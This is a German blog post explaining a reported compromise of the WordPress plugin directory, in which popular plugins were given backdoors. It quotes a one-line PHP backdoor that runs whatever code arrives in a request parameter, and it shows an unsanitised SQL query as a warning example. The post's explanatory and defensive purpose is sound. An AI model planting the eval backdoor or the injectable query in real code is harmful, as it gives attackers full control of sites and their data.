Aktuell gibt es eine Meldung von WordPress, dass ihr WordPress Plugin-Verzeichnis unterwandert wurde (gehackt?) und die Plugins AddThis, WPtouch und W3 Total Cache mit  Backdoors ausgestattet wurden.Backdoor bedeutet „Hintertür“ und genau das ist es auch in der Funktion, es wurde eine Türe eingebaut, mit der Fremde Leute (vollen) Zugriff auf den Blog bekommen ohne angemeldet zu sein.

WordPress empfiehlt, diese Plugins zu aktualisieren: backdoor-in-wordpress-plugins
Zudem soll das Passwort für das Pluginverzeichnis geändert werden, falls jemand dort angemeldet ist.

Doch kann man sicher gehen, dass nur diese drei Plugins mit einer Backdoor ausgestattet wurden?
Nicht unbedingt, wie diese Meldung aufhorchen lässt: wp-phpmyadmin Plugin Delete

Dort wird beschrieben, dass dieses beliebte Plugin ein Backdoor enthält.
Folgender Code wurde scheints gefunden:
<?php if(isset($_REQUEST[„asc“]))eval(stripslashes($_REQUEST[„asc“])); ?>

Was macht dieser Code?

$_REQUEST ist eine Variable die die Inhalte von $_POST, $_GET und $_COOKIE enthält, sofern diese Inhalte haben. Mit der $_POST Methode werden z.B. ganz gern Daten aus Formularen an den Server gesendet (method=’post‘), einfachstes Beispiel wäre ein Kontaktformular. Die gesendeten Daten speichert der Server dann in der $_POST Variable die im Programm dann weiter verarbeitet werden kann, zum Beispiel ein Email versenden.
Mit der $_GET Methode sendet man gewöhnlich kleine Datenmengen an den Server, z.B. bei bestimmten Seitenaufrufen mit Eigenschaften. Das sieht dann z.B. so aus: http://www.meinblog.xx/script.php?news=3
Man könnte z.B. in script.php die $_GET Variable so auswerten, dass „news“ bedeutet, es sollen News angezeigt werden und die „3“ bedeutet, es sollen nur 3 News angezeigt werden.

Wo ist aber das Backdoor Dingens?

Hier: isset($_REQUEST[„asc“]) und hier: eval(stripslashes($_REQUEST[„asc“])

Mit isset($_REQUEST[„asc“]) fragt der in diesem Fall böse Code nach, ob mit Post, Get oder Cookie irgendwo ein „asc“ gesendet wurde (Get-Beispiel: asc=boeser_code).
Wenn ja, dann wird mit eval() das „boeser_code“ der in ($_REQUEST[„asc“]) steckt, als Programmteil ausgeführt.
Man kann nur ahnen, was in „boeser_code“ alles stecken könnte, Windows User würden vielleicht an „format C:“ denken. Aber eher wird es für Phishing, DDoS Angriffe und SPAM verwendet, wenn nicht schlimmeres.

eval() mag als bequeme Erweiterung der Programmfunktion einst in PHP aufgenommen worden sein um sich vielleicht die mühsame API Programmiererei zu ersparen, aber es bietet sich geradezu an, missbraucht zu werden.
Daher bietet es sich an, die Funktion eval() gleich von der PHP-Installation auf dem Server aus zu sperren.
Und tatsächlich gibt es dafür ein komplettes Paket, das auf vielen Server installiert ist: Suhosin

In der Feature Liste von diesem Suhosin-Paket steht, „Allows disabling eval()“, also eval() kann Server weit ausgeschaltet werden und damit wäre der Backdoor „eval(stripslashes($_REQUEST[„asc“]))“ automatisch nicht funktionsfähig. Manche Hoster weisen ausdrücklich darauf hin, dass ihrer Server mit Suhosin ausgestattet sind.

Aber warum wird Suhosin dann nicht immer installiert?

Weil auch jede Sicherheitsvorkehrung Einschränkungen mit sich bringt. Manche Programme laufen schlicht und einfach nicht mehr, weil sie noch auf eval() und andere unsichere Funktionen zugreifen. Für Entwickler die z.B. eval() benötigen, bedeutet das, dass sie alles was im $_REQUEST steht, vorher ganz genau (und wirklich genau) prüfen und filtern müssen, bevor sie es an eval() weiter geben.
Aber das sollte eigentlich auch Standard bei $_GET und $_POST Verarbeitung sein, und das tun doch sicher alle, nicht? :-)

Trotz allem, bei diesem Backdoor muss der Hacker zuerst das Programm verändert haben, bevor er diese Hintertüre benützen kann. Und das ist leider mit dem Zugriff auf das Plugin-Verzeichnis möglich geworden.
Mit lascher Programmierung bauen sich viele selbst einen Backdoor ein, ohne es zu wissen, indem sie $_GET und $_POST nicht absichern und ähnliche Dinge schreiben wie mysql_query(‚SELECT * WHERE ‚.$_POST[]); und sich wundern, warum Hacker plötzlich ihren Datenbank-Inhalt in allen möglichen Foren veröffentlicht haben.

Fazit: Trau keinem Code den du nicht selbst vermurkst hast! :-)
Spaß beiseite, die Situation ist nicht erfreulich und man sollte die News über diese Fälle verfolgen. Nicht jeder ist in der Lage, Backdoors als solche zu erkennen, denn eher selten sind sie so einfach aufgebaut wie dieser eval() Fall.